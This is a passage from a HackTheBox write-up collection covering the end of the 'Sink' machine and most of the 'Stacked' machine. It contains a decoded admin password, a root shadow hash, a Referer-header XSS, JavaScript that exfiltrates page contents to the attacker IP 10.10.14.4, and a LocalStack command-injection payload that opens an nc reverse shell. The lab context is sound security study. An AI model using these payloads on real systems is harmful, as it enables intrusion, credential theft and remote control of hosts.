 - [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Gunzip()&input=SDRzSUFBQUFBQUFBQXl0T0xTcExMU3JXcTh6TllhQVZNQUFDTXhNVE1BMEU2TFNCa2FFeGc2R3h1Ym1KcWJteHFaa3hnNEdoa1lHaEFZT0NBYzFjaEFSS2kwc1NpeFFVR0lyeTgwdndxU01rUDBSQk1UaityYmdVRkhJeWkwdFM4eEpUVW9xc0ZKU1VnQUlGK1VVbFZnb1dCa0JtUm41eFNURklrWUtDcmtKeWFsRkpzVjV4Wmw2MlhrWkpFbFN3TExFMHB3UWhtSkthQmhJb0xZYVluWmVZbTJxbGtKaVNtNWtITWppeHVOaEtJYjQwdFNxbE5GRFJOZExVMFNNdDFZaHJvSU5pUklKaWFQNHZ6a3lubVIyRTg3OGhMUCtiR0FMWkJvYUc1cWFtby9tZkhzQ2dzWTNKVVZuVDZyYTNFYThqcStxSmhWdVZVdzMyUlhDKzVFN1J0ZU5QZG03ZmY3MTJ4YXZReTZic3FiWVpPM2FsWmJ5SjIyVjVuUC9YdEFORytpdW5oMDh0MkdkUjl2VUtrMk9OMUlmZHNTczg2NEl1V0JyOTV4UGRvRHRMOWNBK2phblp0Um1KeXQ4Y3JuOWE1VjdlOWFYcDFCY083YmZDRnlaMHYxdzZhOHZMQXc3T0c5Y3JOSy9SV3VrWFVEVFFBVEVLUnNFb0dBV2pZQlNNZ2xFd0NrYkJLQmdGbzJBVWpJSlJNQXBHd1NnWUJhTmdGSXlDVVRBS1JzRW9HQVdqWUJTTWdsRXdSQUVBVGdMN1RBQW9BQUE9)

cyberchef解码的url：

``` bash
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Gunzip()&input=SDRzSUFBQUFBQUFBQXl0T0xTcExMU3JXcTh6TllhQVZNQUFDTXhNVE1BMEU2TFNCa2FFeGc2R3h1Ym1KcWJteHFaa3hnNEdoa1lHaEFZT0NBYzFjaEFSS2kwc1NpeFFVR0lyeTgwdndxU01rUDBSQk1UaityYmdVRkhJeWkwdFM4eEpUVW9xc0ZKU1VnQUlGK1VVbFZnb1dCa0JtUm41eFNURklrWUtDcmtKeWFsRkpzVjV4Wmw2MlhrWkpFbFN3TExFMHB3UWhtSkthQmhJb0xZYVluWmVZbTJxbGtKaVNtNWtITWppeHVOaEtJYjQwdFNxbE5GRFJOZExVMFNNdDFZaHJvSU5pUklKaWFQNHZ6a3lubVIyRTg3OGhMUCtiR0FMWkJvYUc1cWFtby9tZkhzQ2dzWTNKVVZuVDZyYTNFYThqcStxSmhWdVZVdzMyUlhDKzVFN1J0ZU5QZG03ZmY3MTJ4YXZReTZic3FiWVpPM2FsWmJ5SjIyVjVuUC9YdEFORytpdW5oMDh0MkdkUjl2VUtrMk9OMUlmZHNTczg2NEl1V0JyOTV4UGRvRHRMOWNBK2phblp0Um1KeXQ4Y3JuOWE1VjdlOWFYcDFCY083YmZDRnlaMHYxdzZhOHZMQXc3T0c5Y3JOSy9SV3VrWFVEVFFBVEVLUnNFb0dBV2pZQlNNZ2xFd0NrYkJLQmdGbzJBVWpJSlJNQXBHd1NnWUJhTmdGSXlDVVRBS1JzRW9HQVdqWUJTTWdsRXdSQUVBVGdMN1RBQW9BQUE9
```

cyberchef解码结果:

``` bash
servers.yml.........................................................................................0000644.0000000.0000000.00000000213.13774573563.012010. 0....................................................................................................ustar  .root............................root...................................................................................................................................................................................................................server:
  listenaddr: ""
  port: 80
  hosts:
    - certs.sink.htb
    - vault.sink.htb
defaultuser:
  name: admin
  pass: _uezduQ!EY5AHfe2
.....................................................................................................................................................................................................................................................................................................................................................................................servers.sig.........................................................................................0000644.0000000.0000000.00000000211.13774574111.011755. 0....................................................................................................ustar  .root............................root...................................................................................................................................................................................................................0...A#):ÛK2
A.%È¡µ#e0¾X	é.d->.cC.¿×}¨êUÓ5.e=h¸ºfhì^º9Ç.ú.À2/©.W.p¾8võÔ.A|.ð»]¨I~RÐ92ÿ..°-.%À¾(.k}ha#ö@×òªGw.ô.Êô.+í.Ð..é¥.´éÀ@C±¯ .¬*©NPr............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
```

#### get root

``` bash
name: admin
pass: _uezduQ!EY5AHfe2
```

这个密码就是root密码，直接ssh登录，得到root.txt:

``` bash
david@sink:~$ su root
Password: 
root@sink:/home/david# id
uid=0(root) gid=0(root) groups=0(root)
root@sink:/home/david# whoami
root
root@sink:/home/david# cd
root@sink:~# ls
automation  desync  docker-compose.yml  root.txt  snap
root@sink:~# cat root.txt
5e3a99117cded05e500c24e3160cdf27
root@sink:~# cat /etc/shadow | grep root
root:$6$PYtd2G7mK9kPLNkn$9kn.hmGZhQ1Am5Pyi2.o.Lt6k7ned9iHRyXIu4yg28NkHW0UTf9IaZ7NA7P5spZJK9CDIYYnW9P1najKD8ETA.:18598:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb184.jpg)


#### Summary of knowledge

 - 请求走私触发管理员的request得到管理员的cookie
 - 撞密码
 - aws key及secret利用操作获取账号密码
 - aws listkeys操作解密.enc文件
 - cyberchef利用base64 + Gunzip解码获得账号密码

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end sink -->

</details>

<a id="case-stacked"></a>

## LocalStack 请求与容器边界

Referer XSS 连接 LocalStack 管理操作，特殊请求头和 Makefile 处理改变执行身份。原文保留 Docker 挂载和 chroot 条件。

<p class="kb-provenance">来源 stacked · 原记录 2022-02-14 · 35 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-stacked">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start stacked -->

#### introduce

OS: Linux
Difficulty: Insane
Points:	50
Release:	18 Sep 2021
IP:	10.10.11.112

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2146.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.112
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.41
2376/tcp open  ssl/docker?
```

Based on OpenSSH version, the host is likely running Ubuntu Focal 20.04.

#### HTTP TCP 80

Looking at the page using curl, I see it redirected to http://stacked.htb/ so let's add it to /etc/hosts.

Visiting the page on browser.

I run gobuster against the site with html extensions.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# gobuster dir -u http://stacked.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://stacked.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
2022/02/13 20:42:12 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 311] [--> http://stacked.htb/images/]
/index.html           (Status: 200) [Size: 5055]                                
/css                  (Status: 301) [Size: 308] [--> http://stacked.htb/css/]   
/js                   (Status: 301) [Size: 307] [--> http://stacked.htb/js/]    
/fonts                (Status: 301) [Size: 310] [--> http://stacked.htb/fonts/]
```

Nothing useful here.
Then I run ffuf to find is there another subdomain of stacked.htb.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# /root/ffuf/ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://stacked.htb -H "host: FUZZ.stacked.htb" -fw 18 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://stacked.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.stacked.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response words: 18
________________________________________________

portfolio               [Status: 200, Size: 30268, Words: 11467, Lines: 445]

portfolio.stacked.htb
```

Found portfolio subdomain, I add it to /etc/hosts.

The download button links to portfolio.stacked.htb/files/docker-compose.yml, and will download the file.

Looking at the docker-compose.yml, The machine is likely has localstack version 0.12.6 running on the localhost. localstack is basically aws but host in local machine

 - [localstack](https://github.com/localstack/localstack)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# cat docker-compose.yml 
version: "3.3"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
      - DATA_DIR=/var/localstack/data
      - PORT_WEB_UI=${PORT_WEB_UI- }
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
      - KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"
```

Looking at localstack github repository, LocalStack version 0.12.6 is not the latest, chances are that version has vulnerability.

After some googling for vulnerability for that version, I found this blog greatly explain about the vulnerability.

 - [Hack the Stack with LocalStack: Code Vulnerabilities Explained](https://blog.sonarsource.com/hack-the-stack-with-localstack)

I see several possible vulnerability. The OS Command Injection is the one we looking for.

Let's start the image on our local machine first. make sure the docker-compose.yml exist
in the same directory and run docker-compose up.
It will download the localstack v0.12.6 image and running it.

``` bash
docker-compose up

docker container ls -a

docker exec -ti 587e29281490 /bin/bash
```

We can see api.py code in /opt/code/localstack/localstack/dashboard/api.py has the route in line 85.

``` bash
bash-5.0# cat /opt/code/localstack/localstack/dashboard/api.py
import os
import json
from flask import Flask, render_template, jsonify, send_from_directory, request
from flask_swagger import swagger
from localstack import config
from localstack.utils import common
from localstack.services import generic_proxy, plugins
from localstack.services import infra as services_infra
from localstack.constants import VERSION, LOCALSTACK_WEB_PROCESS
from localstack.dashboard import infra
from localstack.utils.bootstrap import load_plugins, canonicalize_api_names
from localstack.utils.aws.aws_stack import Environment


root_path = os.path.dirname(os.path.realpath(__file__))
web_dir = root_path + '/web/'

app = Flask('app', template_folder=web_dir)
app.root_path = root_path


@app.route('/swagger.json')
def spec():
    swag = swagger(app)
    swag['info']['version'] = VERSION
    swag['info']['title'] = 'AWS Resources Dashboard'
    return jsonify(swag)


@app.route('/graph', methods=['POST'])
def get_graph():
    # TODO remove?
    """ Get deployment graph
        ---
        operationId: 'getGraph'
        parameters:
            - name: request
              in: body
    """
    data = get_payload()
    env = Environment.from_string(data.get('awsEnvironment'))
    graph = infra.get_graph(name_filter=data['nameFilter'], env=env, region=data.get('awsRegion'))
    return jsonify(graph)


@app.route('/services', methods=['GET'])
def get_status():
    """ Get status of deployed services
        ---
        operationId: 'getStatus'
    """
    result = services_infra.get_services_status()
    return jsonify(result)


@app.route('/services', methods=['POST'])
def set_status():
    """ Set status of deployed services
        ---
        operationId: 'setStatus'
    """
    data = get_payload()
    result = services_infra.set_service_status(data)
    return jsonify(result)


@app.route('/kinesis/<streamName>/<shardId>/events/latest', methods=['POST'])
def get_kinesis_events(streamName, shardId):
    """ Get latest events from Kinesis.
        ---
        operationId: 'getKinesisEvents'
        parameters:
            - name: streamName
              in: path
            - name: shardId
              in: path
            - name: request
              in: body
    """
    data = get_payload()
    env = Environment.from_string(data.get('awsEnvironment'))
    result = infra.get_kinesis_events(stream_name=streamName, shard_id=shardId, env=env)
    return jsonify(result)


@app.route('/lambda/<functionName>/code', methods=['POST'])
def get_lambda_code(functionName):
    """ Get source code for Lambda function.
        ---
        operationId: 'getLambdaCode'
        parameters:
            - name: functionName
              in: path
            - name: request
              in: body
    """
    data = get_payload()
    env = Environment.from_string(data.get('awsEnvironment'))
    result = infra.get_lambda_code(func_name=functionName, env=env)
    return jsonify(result)


@app.route('/health')
def get_health():
    # TODO: this should be moved into a separate service, once the dashboard UI is removed
    reload = request.args.get('reload') is not None
    result = plugins.get_services_health(reload=reload)
    return jsonify(result)


@app.route('/')
def hello():
    return render_template('index.html')


@app.route('/<path:path>')
def send_static(path):
    return send_from_directory(web_dir + '/', path)


def get_payload():
    return json.loads(common.to_str(request.data))


def ensure_webapp_installed():
    web_dir = os.path.realpath(os.path.join(os.path.dirname(__file__), 'web'))
    node_modules_dir = os.path.join(web_dir, 'node_modules', 'jquery')
    if not os.path.exists(node_modules_dir):
        print('Initializing installation of Web application (this could take a long time, please be patient)')
        common.run('cd "%s"; npm install' % web_dir)


def serve(port):
    os.environ[LOCALSTACK_WEB_PROCESS] = '1'
    ensure_webapp_installed()
    load_plugins()
    canonicalize_api_names()

    backend_url = 'http://localhost:%s' % port
    services_infra.start_proxy(config.PORT_WEB_UI_SSL, backend_url, use_ssl=True)

    generic_proxy.serve_flask_app(app=app, port=port, quiet=True)
```

On the OS Command Injection section of the blog, If I make a POST request to /lambda/<functionName>/code the parameter functionName is passed to get_lambda_code

The get_lambda_code function want awsEnvironment parameter
So we can input the functionName with command injection with awsEnvironment parameter to our localstack machine to test it.
I try this script to create a test file in the localstack machine.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# curl -X POST "http://localhost:8080/lambda/func;touch%20test/code" -H "Content-Type: application/json" -d  '{"awsEnvironment": "nothing"}'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
```

We need to send the POST request to port 8080 because that is the dashboard.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# docker exec -ti 587e29281490 /bin/bash
bash-5.0# ls -la test
-rw-r--r--    1 localsta localsta         0 Feb 14 03:34 test
```

And the command injection work.
Now the problem is how to run it on the victim machine,
Looking back n portfolio.stacked.htb page has a contact form, I try simple xss on the form and send it.

but It got detected. my initial thought is I need to bypass the detection. I intercept the request using burp suite and send it to repeater.

I try all XSS bypass payload in the message field but no luck, But when I try the payload on every headers, the js script is execute from Referer header and not returning XSS detected.

``` bash
POST /process.php HTTP/1.1
Host: portfolio.stacked.htb
User-Agent: <script src="http://10.10.14.4/"></script>
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 76
Origin: <script src="http://10.10.14.4/"></script>
Referer: <script src="http://10.10.14.4/justatest"></script>


fullname=test&email=test%40qq.com&tel=138232254773&subject=test&message=test
```

After 2 minutes my listener got a hit from the box.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# python2 -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.11.112 - - [14/Feb/2022 01:44:05] code 404, message File not found
10.10.11.112 - - [14/Feb/2022 01:44:05] "GET /justatest HTTP/1.1" 404 -
```

Now from this XSS I need to get RCE, but how can I confirm that localstack exist on the remote target?

From the headers I can see that it's using XMLHttpRequest to the request.

I can craft a XMLHttpRequest that doing a GET/POST request. save to to localstack_confirmation.js

``` bash
// Doing GET request to localstack dashboard on port 8080 to see if it's exist
var xhr = new XMLHttpRequest();
var target = 'http://localhost:8080/'
xhr.open('GET', target, false);
xhr.send();

// Sending the response back to my python listener.
var response = xhr.responseText;
var xhr2 = new XMLHttpRequest();

// Listener IP
xhr2.open('GET', 'http://10.10.14.4/' + btoa(response), true);
xhr2.send();
```

Start a python server on port 80.

I copied the successful XSS request from the burp suite to curl command to make it easier remove unnecessary header like User-Agent.

Run the curl POST request command and after 2 minutes, the python server show two GET request from target machine, the first GET request is the stacked machine getting the localstack_confirmation.js from python listener, and the second is executing the localstack_confirmation.js code that I make above and send the response back to python listener as base64.

``` bash
10.10.11.112 - - [13/Feb/2022 22:58:04] "GET /localstack_confirmation.js HTTP/1.1" 200 -
10.10.11.112 - - [13/Feb/2022 22:58:43] code 404, message File not found
10.10.11.112 - - [13/Feb/2022 22:58:43] "GET /PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIKImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCBsYW5nPSJlbiIgbmctYXBwPSJhcHAiIGNsYXNzPSJuby1qcyBmdWxsc2l6ZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURjgiPgo8aGVhZD4KICA8dGl0bGU+RGFzaGJvYXJkPC90aXRsZT4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgogIDxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UvcG5nIiBocmVmPSIvaW1nL2xvY2Fsc3RhY2tfaWNvbi5wbmciIC8+CiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJub2RlX21vZHVsZXMvYm9vdHN0cmFwL2Rpc3QvY3NzL2Jvb3RzdHJhcC5jc3MiIG1lZGlhPSJhbGwiPgogIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0ibm9kZV9tb2R1bGVzL2FuZ3VsYXItdGFibGVzb3J0L3RhYmxlc29ydC5jc3MiIG1lZGlhPSJhbGwiPgogIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0ibm9kZV9tb2R1bGVzL2pzcGx1bWIvY3NzL2pzUGx1bWJUb29sa2l0LWRlZmF1bHRzLmNzcyIgbWVkaWE9ImFsbCI+CiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJub2RlX21vZHVsZXMvYW5ndWxhci1yZXNpemFibGUvYW5ndWxhci1yZXNpemFibGUubWluLmNzcyIgbWVkaWE9ImFsbCI+CiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJub2RlX21vZHVsZXMvYW5ndWxhci11aS1sYXlvdXQvc3JjL3VpLWxheW91dC5jc3MiIG1lZGlhPSJhbGwiPgogIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL3N0eWxlLmNzcyIgbWVkaWE9ImFsbCI+CjwvaGVhZD4KPGJvZHkgY2xhc3M9ImZ1bGxzaXplIj4KCjxkaXYgaWQ9InBhZ2UiIGNsYXNzPSJmdWxsc2l6ZSI+CiAgPCEtLSBIZWFkZXIgLS0+CiAgPGhlYWRlciBpZD0iaGVhZGVyIiByb2xlPSJiYW5uZXIiIHN0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgIHRvcDogMHB4OyB3aWR0aDogMTAwJTsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNhYWFhYWE7IGJhY2tncm91bmQ6ICNmYWZhZjQiPgogICAgPG5hdiBjbGFzcz0iYXVpLWhlYWRlciBhdWktZHJvcGRvd24yLXRyaWdnZXItZ3JvdXAiIHJvbGU9Im5hdmlnYXRpb24iPgogICAgICA8ZGl2IGNsYXNzPSJhdWktaGVhZGVyLWlubmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJhdWktaGVhZGVyLXByaW1hcnkiPgogICAgICAgICAgPGgxIGlkPSJsb2dvIiBjbGFzcz0iYXVpLWhlYWRlci1sb2dvIGF1aS1oZWFkZXItbG9nby10ZXh0b25seSI+CiAgICAgICAgICAJCTxzcGFuIGNsYXNzPSJhdWktaGVhZGVyLWxvZ28tZGV2aWNlIj4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJpbWcvbG9jYWxzdGFja19zbWFsbC5wbmciIHN0eWxlPSJoZWlnaHQ6IDMwcHg7IHBhZGRpbmc6IDJweDsgbWFyZ2luLXJpZ2h0OiAxMHB4OyIvPgogICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgIDwvaDE+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9uYXY+CiAgPC9oZWFkZXI+CgogIDwhLS0gQ29udGVudCAtLT4KICA8c2VjdGlvbiBpZD0iY29udGVudCIgcm9sZT0ibWFpbiIgdWktdmlldyBjbGFzcz0iZnVsbHNpemUiIHN0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogMHB4OyBwYWRkaW5nLXRvcDogNDBweDsgei1pbmRleDogMSI+IDwvc2VjdGlvbj4KCjwvZGl2PgoKPHNjcmlwdCBzcmM9Im5vZGVfbW9kdWxlcy9qcXVlcnkvZGlzdC9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Im5vZGVfbW9kdWxlcy9kYWdyZS9kaXN0L2RhZ3JlLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Im5vZGVfbW9kdWxlcy9qc3BsdW1iL2Rpc3QvanMvanNQbHVtYi0yLjEuNC5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJub2RlX21vZHVsZXMvc3dhZ2dlci1jbGllbnQvYnJvd3Nlci9zd2FnZ2VyLWNsaWVudC5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJub2RlX21vZHVsZXMvYW5ndWxhci9hbmd1bGFyLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Im5vZGVfbW9kdWxlcy9hbmd1bGFyLXVpLXJvdXRlci9yZWxlYXNlL2FuZ3VsYXItdWktcm91dGVyLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Im5vZGVfbW9kdWxlcy9hbmd1bGFyLXJlc291cmNlL2FuZ3VsYXItcmVzb3VyY2UuanMiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0ibm9kZV9tb2R1bGVzL2FuZ3VsYXItc2FuaXRpemUvYW5ndWxhci1zYW5pdGl6ZS5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJub2RlX21vZHVsZXMvYW5ndWxhci10YWJsZXNvcnQvanMvYW5ndWxhci10YWJsZXNvcnQuanMiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0ibm9kZV9tb2R1bGVzL2FuZ3VsYXItcmVzaXphYmxlL2FuZ3VsYXItcmVzaXphYmxlLm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJub2RlX21vZHVsZXMvYW5ndWxhci11aS1sYXlvdXQvc3JjL3VpLWxheW91dC5qcyI+PC9zY3JpcHQ+Cgo8c2NyaXB0PgokLnVybFBhcmFtID0gZnVuY3Rpb24obmFtZSl7CiAgdmFyIHJlc3VsdHMgPSBuZXcgUmVnRXhwKCdbXD8mXScgKyBuYW1lICsgJz0oW14mI10qKScpLmV4ZWMod2luZG93LmxvY2F0aW9uLmhyZWYpOwogIGlmIChyZXN1bHRzPT1udWxsKXsKICAgICByZXR1cm4gbnVsbDsKICB9CiAgZWxzZXsKICAgICByZXR1cm4gcmVzdWx0c1sxXSB8fCAwOwogIH0KfQo8L3NjcmlwdD4KCjwhLS0gPHNjcmlwdCBzcmM9ImpzL2pvaW50LmRlZnMuanMiPjwvc2NyaXB0PiAtLT4KPHNjcmlwdCBzcmM9ImpzL2FwcC5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJqcy9zZXJ2aWNlcy5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJ2aWV3cy9pbmZyYS5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJ2aWV3cy9pbmZyYS5ncmFwaC5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJ2aWV3cy9pbmZyYS5kZXRhaWxzLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9InZpZXdzL2NvbmZpZy5qcyI+PC9zY3JpcHQ+Cgo8L2JvZHk+CjwvaHRtbD4= HTTP/1.1" 404 -
```

I decode the base64, and it's the index.html page from localstack. you can check it by running the localstack image again and visit http://localhost:8080 on your machine.

``` bash
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en" ng-app="app" class="no-js fullsize" content="text/html; charset=UTF8">
<head>
  <title>Dashboard</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="icon" type="image/png" href="/img/localstack_icon.png" />
  <link rel="stylesheet" href="node_modules/bootstrap/dist/css/bootstrap.css" media="all">
  <link rel="stylesheet" href="node_modules/angular-tablesort/tablesort.css" media="all">
  <link rel="stylesheet" href="node_modules/jsplumb/css/jsPlumbToolkit-defaults.css" media="all">
  <link rel="stylesheet" href="node_modules/angular-resizable/angular-resizable.min.css" media="all">
  <link rel="stylesheet" href="node_modules/angular-ui-layout/src/ui-layout.css" media="all">
  <link rel="stylesheet" href="css/style.css" media="all">
</head>
<body class="fullsize">

<div id="page" class="fullsize">
  <!-- Header -->
  <header id="header" role="banner" style="position: absolute;
      top: 0px; width: 100%; border-bottom: 1px solid #aaaaaa; background: #fafaf4">
    <nav class="aui-header aui-dropdown2-trigger-group" role="navigation">
      <div class="aui-header-inner">
        <div class="aui-header-primary">
          <h1 id="logo" class="aui-header-logo aui-header-logo-textonly">
                        <span class="aui-header-logo-device">
                <img src="img/localstack_small.png" style="height: 30px; padding: 2px; margin-right: 10px;"/>
              </span>
          </h1>
        </div>
      </div>
    </nav>
  </header>

  <!-- Content -->
  <section id="content" role="main" ui-view class="fullsize" style="position: absolute; top: 0px; padding-top: 40px; z-index: 1"> </section>

</div>

<script src="node_modules/jquery/dist/jquery.min.js"></script>
<script src="node_modules/dagre/dist/dagre.js"></script>
<script src="node_modules/jsplumb/dist/js/jsPlumb-2.1.4.js"></script>
<script src="node_modules/swagger-client/browser/swagger-client.js"></script>
<script src="node_modules/angular/angular.js"></script>
<script src="node_modules/angular-ui-router/release/angular-ui-router.js"></script>
<script src="node_modules/angular-resource/angular-resource.js"></script>
<script src="node_modules/angular-sanitize/angular-sanitize.js"></script>
<script src="node_modules/angular-tablesort/js/angular-tablesort.js"></script>
<script src="node_modules/angular-resizable/angular-resizable.min.js"></script>
<script src="node_modules/angular-ui-layout/src/ui-layout.js"></script>

<script>
$.urlParam = function(name){
  var results = new RegExp('[\?&]' + name + '=([^&#]*)').exec(window.location.href);
  if (results==null){
     return null;
  }
  else{
     return results[1] || 0;
  }
}
</script>

<!-- <script src="js/joint.defs.js"></script> -->
<script src="js/app.js"></script>
<script src="js/services.js"></script>
<script src="views/infra.js"></script>
<script src="views/infra.graph.js"></script>
<script src="views/infra.details.js"></script>
<script src="views/config.js"></script>

</body>
</html>
```

#### Getting reverse shell

Now I know that localstack is running on the Stacked machine, It's time to do OS Command Injection through XSS.

I create revshell.js.

``` bash
// Doing POST request to localstack of Stacked machine.
var xhr = new XMLHttpRequest();
// the command injection payload is 'nc 10.10.14.4 4444 -e /bin/bash'
// base64 your payload
//
// then url encode of "echo bmMgMTAuMTAuMTQuNCA0NDQ0IC1lIC9iaW4vYmFzaA== | base64 -d | sh"
//
//
// The finish payload would be "echo%20bmMgMTAuMTAuMTQuNCA0NDQ0IC1lIC9iaW4vYmFzaA==%20%7C%20base64%20-d%20%7C%20sh"
// and put the payload after the semicolon
var target = 'http://localhost:8080/lambda/test;echo%20bmMgMTAuMTAuMTQuNCA0NDQ0IC1lIC9iaW4vYmFzaA==%20%7C%20base64%20-d%20%7C%20sh/code'

xhr.open("POST", target, false);

xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ "awsEnvironment": "nothing" }));
```

Now start python listener in port 80 and netcat listener on port 4444.

Execute the xss_curl_cmd, which is basically the request from burp that I convert to curl.

After a few minutes I got a shell.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/stacked]
└─# curl -i -s -k -X $'POST' \
